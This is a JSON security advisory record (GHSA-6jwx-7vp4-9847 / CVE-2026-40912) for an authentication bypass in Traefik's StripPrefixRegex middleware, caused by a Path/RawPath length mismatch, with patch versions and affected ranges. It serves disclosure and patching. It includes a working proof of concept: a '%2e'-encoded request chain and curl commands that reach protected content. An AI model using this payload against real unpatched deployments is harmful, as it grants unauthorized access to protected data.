{"id":"GHSA-6jwx-7vp4-9847","summary":"Traefik has an StripPrefixRegex Middleware Authorization Bypass via Path/RawPath Desync","details":"## Summary\n\nThere is a high severity authentication bypass vulnerability in Traefik's `StripPrefixRegex` middleware when used in combination with `ForwardAuth`, `BasicAuth`, or `DigestAuth`.\n\nThe middleware matches the regex against the decoded URL path but uses the resulting byte length to slice the percent-encoded raw path. When a dot (or multiple dots) appears in the prefix portion of the URL, the raw path after stripping becomes a dot-segment (e.g. `/./admin/secret`).\n\n`ForwardAuth` receives this dot-segment path in `X-Forwarded-Uri`, which does not match the protected path patterns and therefore allows the request through. The backend then normalizes the dot-segment to the real path per RFC 3986 and serves the protected content\n\n An unauthenticated attacker can exploit this against any backend that performs dot-segment normalization.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.43\n- https://github.com/traefik/traefik/releases/tag/v3.6.14\n- https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.2\n\n## For more information\n\nIf there are any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n### Summary\n\n  StripPrefixRegex uses the byte length of a decoded Path match to slice the encoded RawPath. When percent-encoded characters are in the prefix region, this produces a wrong RawPath. ForwardAuth then\n  receives this wrong path in X-Forwarded-Uri, sees a path that doesn't match its protection rules, and approves the request. The backend serves protected content.\n\n ### Details\n\n  `pkg/middlewares/stripprefixregex/strip_prefix_regex.go`, line 62:\n\n  ```go\n  req.URL.RawPath = ensureLeadingSlash(req.URL.RawPath[len(prefix):])\n```\n\n  prefix comes from matching the regex against the decoded req.URL.Path (line 51). len(prefix) is then used to index into the encoded req.URL.RawPath. These lengths don't match when percent-encoding is\n  present.\n\n  Example with regex ^/api:\n\n  - GET /api%20/admin/secret\n  - Decoded Path: /api /admin/secret -\u003e prefix = /api (4 bytes)\n  - Encoded RawPath: /api%20/admin/secret -\u003e same region is 6 bytes\n  - RawPath[4:] = %20/admin/secret -\u003e after ensureLeadingSlash -\u003e /%20/admin/secret\n  - ForwardAuth sees X-Forwarded-Uri: /%20/admin/secret -\u003e not /admin/* -\u003e allows it\n  - Backend serves the protected admin content\n\n  PoC\n\n  Requires Docker and Docker Compose. I have a setup that runs Traefik v3.6.11 with StripPrefixRegex + ForwardAuth + a backend. It sends a normal request (blocked, 403) and an encoded request (bypasses\n  auth, 200, returns protected data). Can share the files here if useful.\n\n  Impact\n\n  Auth bypass. Any path protected by ForwardAuth, BasicAuth, or DigestAuth can be accessed without credentials when StripPrefixRegex is in the same middleware chain. The attacker only needs to add a\n  percent-encoded character to the prefix portion of the URL.\n\n---\n\n### Updated PoC (reporter follow-up)\n\nAfter further testing, the confirmed working exploit uses `%2e` (percent-encoded dot) rather than `%20`. Dot-segment normalization (`/./` -\u003e `/`) is RFC 3986 standard behavior handled automatically by Express.js, Go's `http.ServeMux`, Spring Boot, and others — no custom configuration needed.\n\nChain:\n\n```\nGET /api%2e/admin/secret\n-\u003e StripPrefixRegex strips /api -\u003e RawPath becomes /./admin/secret\n-\u003e ForwardAuth sees /./admin/secret -\u003e does not match /admin/ -\u003e allows\n-\u003e Express normalizes /./admin/secret -\u003e /admin/secret -\u003e serves protected content\n```\n\nResults (Traefik v3.6, unmodified Express.js express.static):\n\n```\nGET /api/admin/secret      -\u003e 403 (blocked)\nGET /api%2e/admin/secret   -\u003e 200 (bypass — served protected content)\nGET /api%20/admin/secret   -\u003e 404 (space not normalized by backend)\n```\n\nAuth server logs:\n\n```\nX-Forwarded-Uri: '/admin/secret'    -\u003e DENIED\nX-Forwarded-Uri: '/./admin/secret'  -\u003e ALLOWED\n```\n\nReproduction:\n\n```bash\ndocker compose up -d --build --wait\ncurl http://localhost:8080/api/admin/secret                       # -\u003e 403\ncurl --path-as-is \"http://localhost:8080/api%2e/admin/secret\"     # -\u003e 200\n```\n\n\u003c/details\u003e\n\n---","aliases":["CVE-2026-40912","GO-2026-5180"],"modified":"2026-07-21T14:00:30.229243133Z","published":"2026-04-24T16:37:53Z","database_specific":{"cwe_ids":["CWE-22","CWE-706"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-04-24T16:37:53Z","nvd_published_at":"2026-04-30T21:16:32Z"},"references":[{"type":"WEB","url":"https://github.com/traefik/traefik/security/advisories/GHSA-6jwx-7vp4-9847"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40912"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:21772"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2026-40912"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2464229"},{"type":"PACKAGE","url":"https://github.com/traefik/traefik"},{"type":"WEB","url":"https://github.com/traefik/traefik/releases/tag/v2.11.43"},{"type":"WEB","url":"https://github.com/traefik/traefik/releases/tag/v3.6.14"},{"type":"WEB","url":"https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.2"},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-40912.json"}],"affected":[{"package":{"name":"github.com/traefik/traefik/v3","ecosystem":"Go","purl":"pkg:golang/github.com/traefik/traefik/v3"},"ranges":[{"type":"SEMVER","events":[{"introduced":"3.7.0-ea.1"},{"fixed":"3.7.0-rc.2"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-6jwx-7vp4-9847/GHSA-6jwx-7vp4-9847.json"}},{"package":{"name":"github.com/traefik/traefik/v3","ecosystem":"Go","purl":"pkg:golang/github.com/traefik/traefik/v3"},"ranges":[{"type":"SEMVER","events":[{"introduced":"3.0.0-beta1"},{"fixed":"3.6.14"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-6jwx-7vp4-9847/GHSA-6jwx-7vp4-9847.json"}},{"package":{"name":"github.com/traefik/traefik/v2","ecosystem":"Go","purl":"pkg:golang/github.com/traefik/traefik/v2"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.11.43"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-6jwx-7vp4-9847/GHSA-6jwx-7vp4-9847.json"}},{"package":{"name":"github.com/traefik/traefik","ecosystem":"Go","purl":"pkg:golang/github.com/traefik/traefik"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"1.7.34"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-6jwx-7vp4-9847/GHSA-6jwx-7vp4-9847.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N"}]}